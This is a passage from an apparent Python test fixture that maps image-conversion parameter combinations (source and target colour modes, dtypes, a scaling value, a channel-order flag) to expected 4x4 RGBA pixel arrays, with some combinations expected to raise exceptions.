[[102, 20, 127, 255], [187, 57, 0, 255], [90, 232, 87, 255], [141, 165, 205, 255]],
[[202, 215, 25, 255], [190, 211, 195, 255], [45, 14, 15, 255], [84, 170, 87, 255]],
[[211, 175, 200, 255], [136, 152, 121, 255], [201, 58, 50, 255], [206, 98, 87, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint8, None, True): np.array(
[
[[255, 0, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
[[255, 0, 0, 255], [255, 0, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
[[255, 0, 0, 255], [0, 255, 0, 255], [0, 255, 255, 255], [255, 0, 0, 255]],
[[255, 0, 255, 255], [255, 255, 255, 255], [0, 255, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint8, None, False): np.array(
[
[[255, 0, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
[[0, 0, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
[[0, 0, 255, 255], [0, 255, 0, 255], [255, 255, 0, 255], [0, 0, 255, 255]],
[[255, 0, 255, 255], [255, 255, 255, 255], [0, 255, 0, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
[[0, 255, 255, 255], [255, 0, 0, 255], [0, 255, 255, 255], [0, 0, 0, 255]],
[[0, 0, 255, 255], [0, 0, 255, 255], [0, 255, 0, 255], [0, 255, 255, 255]],
[[255, 0, 0, 255], [0, 255, 255, 255], [255, 255, 0, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 0, 255], [0, 0, 255, 255], [255, 255, 0, 255], [0, 0, 0, 255]],
[[255, 0, 0, 255], [255, 0, 0, 255], [0, 255, 0, 255], [255, 255, 0, 255]],
[[0, 0, 255, 255], [255, 255, 0, 255], [0, 255, 255, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint16, None, True): np.array(
[
[[0, 255, 0, 255], [255, 255, 255, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 0, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
[[0, 255, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
[[0, 0, 0, 255], [0, 255, 255, 255], [0, 0, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint16, None, False): np.array(
[
[[0, 255, 0, 255], [255, 255, 255, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 255, 255, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
[[0, 255, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
[[0, 0, 0, 255], [255, 255, 0, 255], [0, 0, 0, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint16, 232, True): np.array(
[
[[0, 0, 0, 255], [255, 255, 0, 255], [0, 255, 0, 255], [255, 255, 0, 255]],
[[0, 0, 255, 255], [255, 255, 0, 255], [255, 0, 255, 255], [0, 255, 255, 255]],
[[0, 0, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255], [255, 0, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 255, 255], [255, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint16, 232, False): np.array(
[
[[0, 0, 0, 255], [0, 255, 255, 255], [0, 255, 0, 255], [0, 255, 255, 255]],
[[255, 0, 0, 255], [0, 255, 255, 255], [255, 0, 255, 255], [255, 255, 0, 255]],
[[0, 0, 0, 255], [0, 0, 255, 255], [255, 0, 255, 255], [255, 0, 255, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 0, 255], [0, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 255], [255, 0, 0, 255], [255, 255, 0, 255], [0, 0, 255, 255]],
[[255, 0, 0, 255], [255, 255, 255, 255], [255, 0, 0, 255], [0, 255, 0, 255]],
[[255, 0, 0, 255], [255, 0, 0, 255], [255, 0, 0, 255], [255, 255, 0, 255]],
[[255, 0, 0, 255], [0, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", None, np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 255, 255], [0, 255, 255, 255], [255, 0, 0, 255]],
[[0, 0, 255, 255], [255, 255, 255, 255], [0, 0, 255, 255], [0, 255, 0, 255]],
[[0, 0, 255, 255], [0, 0, 255, 255], [0, 0, 255, 255], [0, 255, 255, 255]],
[[0, 0, 255, 255], [255, 255, 0, 255], [0, 0, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", None, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", None, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", None, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", None, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint8, None, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint8, None, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint8, 232, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint8, 232, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint16, None, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint16, None, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint16, 232, True): np.array(
[
[[0, 255, 0, 255], [255, 255, 255, 255], [0, 0, 255, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 255, 0, 255], [255, 255, 0, 255], [0, 0, 0, 255]],
[[0, 255, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
[[0, 0, 0, 255], [0, 255, 255, 255], [0, 0, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint16, 232, False): np.array(
[
[[0, 255, 0, 255], [255, 255, 255, 255], [255, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 255, 255, 255], [0, 255, 255, 255], [0, 0, 0, 255]],
[[0, 255, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
[[0, 0, 0, 255], [255, 255, 0, 255], [0, 0, 0, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint16, 13333, True): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "SIMPLE", np.uint16, 13333, False): np.array(
[
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", None, None, True): np.array(
[
[[16, 69, 0, 255], [66, 134, 148, 255], [220, 80, 0, 255], [53, 33, 0, 255]],
[[140, 22, 55, 255], [0, 63, 255, 255], [96, 255, 0, 255], [226, 185, 233, 255]],
[[28, 241, 255, 255], [215, 236, 255, 255], [17, 15, 0, 255], [96, 190, 0, 255]],
[[220, 196, 255, 255], [134, 171, 212, 255], [55, 64, 255, 255], [96, 109, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", None, None, False): np.array(
[
[[0, 69, 16, 255], [148, 134, 66, 255], [0, 80, 220, 255], [0, 33, 53, 255]],
[[55, 22, 140, 255], [255, 63, 0, 255], [0, 255, 96, 255], [233, 185, 226, 255]],
[[255, 241, 28, 255], [255, 236, 215, 255], [0, 15, 17, 255], [0, 190, 96, 255]],
[[255, 196, 220, 255], [212, 171, 134, 255], [255, 64, 55, 255], [255, 109, 96, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", None, 232, True): np.array(
[
[[14, 63, 0, 255], [60, 122, 135, 255], [200, 73, 0, 255], [48, 30, 0, 255]],
[[127, 20, 50, 255], [0, 57, 255, 255], [87, 236, 0, 255], [205, 168, 212, 255]],
[[25, 219, 255, 255], [195, 215, 255, 255], [15, 13, 0, 255], [87, 173, 0, 255]],
[[200, 178, 255, 255], [121, 155, 193, 255], [50, 58, 255, 255], [87, 99, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", None, 232, False): np.array(
[
[[0, 63, 14, 255], [135, 122, 60, 255], [0, 73, 200, 255], [0, 30, 48, 255]],
[[50, 20, 127, 255], [255, 57, 0, 255], [0, 236, 87, 255], [212, 168, 205, 255]],
[[255, 219, 25, 255], [255, 215, 195, 255], [0, 13, 15, 255], [0, 173, 87, 255]],
[[255, 178, 200, 255], [193, 155, 121, 255], [255, 58, 50, 255], [255, 99, 87, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", None, 13333, True): np.array(
[
[[255, 255, 0, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [0, 255, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", None, 13333, False): np.array(
[
[[0, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 0, 255], [0, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint8, None, True): np.array(
[
[[255, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [0, 0, 255, 255]],
[[255, 255, 0, 255], [255, 0, 255, 255], [255, 255, 255, 255], [255, 0, 0, 255]],
[[255, 0, 255, 255], [0, 255, 255, 255], [0, 0, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 0, 255, 255], [0, 255, 255, 255], [255, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint8, None, False): np.array(
[
[[255, 0, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 0, 0, 255]],
[[0, 255, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255], [0, 0, 255, 255]],
[[255, 0, 255, 255], [255, 255, 0, 255], [255, 0, 0, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 0, 255, 255], [255, 255, 0, 255], [255, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint8, 232, True): np.array(
[
[[255, 0, 255, 255], [255, 255, 0, 255], [255, 0, 255, 255], [255, 255, 255, 255]],
[[0, 255, 255, 255], [255, 0, 255, 255], [0, 255, 255, 255], [0, 255, 255, 255]],
[[0, 0, 255, 255], [0, 0, 255, 255], [0, 0, 255, 255], [0, 0, 255, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [0, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint8, 232, False): np.array(
[
[[255, 0, 255, 255], [0, 255, 255, 255], [255, 0, 255, 255], [255, 255, 255, 255]],
[[255, 255, 0, 255], [255, 0, 255, 255], [255, 255, 0, 255], [255, 255, 0, 255]],
[[255, 0, 0, 255], [255, 0, 0, 255], [255, 0, 0, 255], [255, 0, 0, 255]],
[[255, 255, 255, 255], [0, 0, 0, 255], [255, 255, 255, 255], [255, 0, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint8, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint8, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint16, None, True): np.array(
[
[[0, 0, 255, 255], [255, 0, 0, 255], [0, 0, 255, 255], [0, 255, 255, 255]],
[[0, 255, 255, 255], [255, 255, 0, 255], [255, 0, 255, 255], [0, 255, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [0, 0, 255, 255], [255, 0, 255, 255]],
[[0, 0, 0, 255], [0, 255, 255, 255], [0, 255, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint16, None, False): np.array(
[
[[255, 0, 0, 255], [0, 0, 255, 255], [255, 0, 0, 255], [255, 255, 0, 255]],
[[255, 255, 0, 255], [0, 255, 255, 255], [255, 0, 255, 255], [0, 255, 0, 255]],
[[0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255]],
[[0, 0, 0, 255], [255, 255, 0, 255], [0, 255, 0, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint16, 232, True): np.array(
[
[[0, 255, 255, 255], [255, 0, 255, 255], [0, 0, 255, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [255, 255, 0, 255], [255, 0, 255, 255], [0, 255, 0, 255]],
[[0, 255, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255], [255, 0, 255, 255]],
[[0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 255, 0, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint16, 232, False): np.array(
[
[[255, 255, 0, 255], [255, 0, 255, 255], [255, 0, 0, 255], [255, 255, 255, 255]],
[[0, 0, 0, 255], [0, 255, 255, 255], [255, 0, 255, 255], [0, 255, 0, 255]],
[[0, 255, 0, 255], [0, 0, 255, 255], [255, 0, 255, 255], [255, 0, 255, 255]],
[[255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [0, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint16, 13333, True): np.array(
[
[[0, 0, 255, 255], [255, 255, 0, 255], [255, 255, 255, 255], [0, 255, 255, 255]],
[[255, 0, 0, 255], [255, 0, 0, 255], [255, 0, 255, 255], [0, 0, 0, 255]],
[[255, 255, 0, 255], [255, 255, 0, 255], [255, 0, 255, 255], [255, 0, 255, 255]],
[[255, 0, 0, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGB", np.uint16, 13333, False): np.array(
[
[[255, 0, 0, 255], [0, 255, 255, 255], [255, 255, 255, 255], [255, 255, 0, 255]],
[[0, 0, 255, 255], [0, 0, 255, 255], [255, 0, 255, 255], [0, 0, 0, 255]],
[[0, 255, 255, 255], [0, 255, 255, 255], [255, 0, 255, 255], [255, 0, 255, 255]],
[[0, 0, 255, 255], [0, 0, 0, 255], [0, 0, 0, 255], [255, 0, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGB", "RGBA", None, None, True): Exception,
(np.uint8, "RGB", "RGBA", None, None, False): Exception,
(np.uint8, "RGB", "RGBA", None, 232, True): Exception,
(np.uint8, "RGB", "RGBA", None, 232, False): Exception,
(np.uint8, "RGB", "RGBA", None, 13333, True): Exception,
(np.uint8, "RGB", "RGBA", None, 13333, False): Exception,
(np.uint8, "RGB", "RGBA", np.uint8, None, True): Exception,
(np.uint8, "RGB", "RGBA", np.uint8, None, False): Exception,
(np.uint8, "RGB", "RGBA", np.uint8, 232, True): Exception,
(np.uint8, "RGB", "RGBA", np.uint8, 232, False): Exception,
(np.uint8, "RGB", "RGBA", np.uint8, 13333, True): Exception,
(np.uint8, "RGB", "RGBA", np.uint8, 13333, False): Exception,
(np.uint8, "RGB", "RGBA", np.uint16, None, True): Exception,
(np.uint8, "RGB", "RGBA", np.uint16, None, False): Exception,
(np.uint8, "RGB", "RGBA", np.uint16, 232, True): Exception,
(np.uint8, "RGB", "RGBA", np.uint16, 232, False): Exception,
(np.uint8, "RGB", "RGBA", np.uint16, 13333, True): Exception,
(np.uint8, "RGB", "RGBA", np.uint16, 13333, False): Exception,
(np.uint8, "RGBA", None, None, None, True): np.array(
[
[[151, 252, 73, 107], [28, 221, 35, 0], [87, 122, 126, 114], [47, 59, 24, 200]],
[[189, 246, 242, 255], [123, 255, 29, 14], [201, 208, 133, 32], [118, 203, 141, 245]],
[[133, 131, 248, 81], [4, 84, 99, 40], [40, 167, 119, 150], [13, 158, 108, 21]],
[[156, 221, 166, 250], [77, 188, 13, 166], [0, 1, 185, 25], [83, 35, 103, 120]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, None, None, False): np.array(
[
[[73, 252, 151, 107], [35, 221, 28, 0], [126, 122, 87, 114], [24, 59, 47, 200]],
[[242, 246, 189, 255], [29, 255, 123, 14], [133, 208, 201, 32], [141, 203, 118, 245]],
[[248, 131, 133, 81], [99, 84, 4, 40], [119, 167, 40, 150], [108, 158, 13, 21]],
[[166, 221, 156, 250], [13, 188, 77, 166], [185, 1, 0, 25], [103, 35, 83, 120]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, None, 232, True): np.array(
[
[[137, 229, 66, 97], [25, 201, 31, 0], [79, 110, 114, 103], [42, 53, 21, 181]],
[[171, 223, 220, 232], [111, 232, 26, 12], [182, 189, 121, 29], [107, 184, 128, 222]],
[[121, 119, 225, 73], [3, 76, 90, 36], [36, 151, 108, 136], [11, 143, 98, 19]],
[[141, 201, 151, 227], [70, 171, 11, 151], [0, 0, 168, 22], [75, 31, 93, 109]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, None, 232, False): np.array(
[
[[66, 229, 137, 97], [31, 201, 25, 0], [114, 110, 79, 103], [21, 53, 42, 181]],
[[220, 223, 171, 232], [26, 232, 111, 12], [121, 189, 182, 29], [128, 184, 107, 222]],
[[225, 119, 121, 73], [90, 76, 3, 36], [108, 151, 36, 136], [98, 143, 11, 19]],
[[151, 201, 141, 227], [11, 171, 70, 151], [168, 0, 0, 22], [93, 31, 75, 109]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, None, 13333, True): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [209, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [0, 52, 255, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, None, 13333, False): np.array(
[
[[255, 255, 255, 255], [255, 255, 255, 0], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 209, 255], [255, 255, 255, 255], [255, 255, 255, 255]],
[[255, 255, 255, 255], [255, 255, 255, 255], [255, 52, 0, 255], [255, 255, 255, 255]],
],
dtype=np.uint8,
),
(np.uint8, "RGBA", None, np.uint8, None, True): np.array(
[
[[0, 255, 0, 0], [255, 0, 0, 255], [0, 255, 255, 255], [0, 0, 255, 255]],
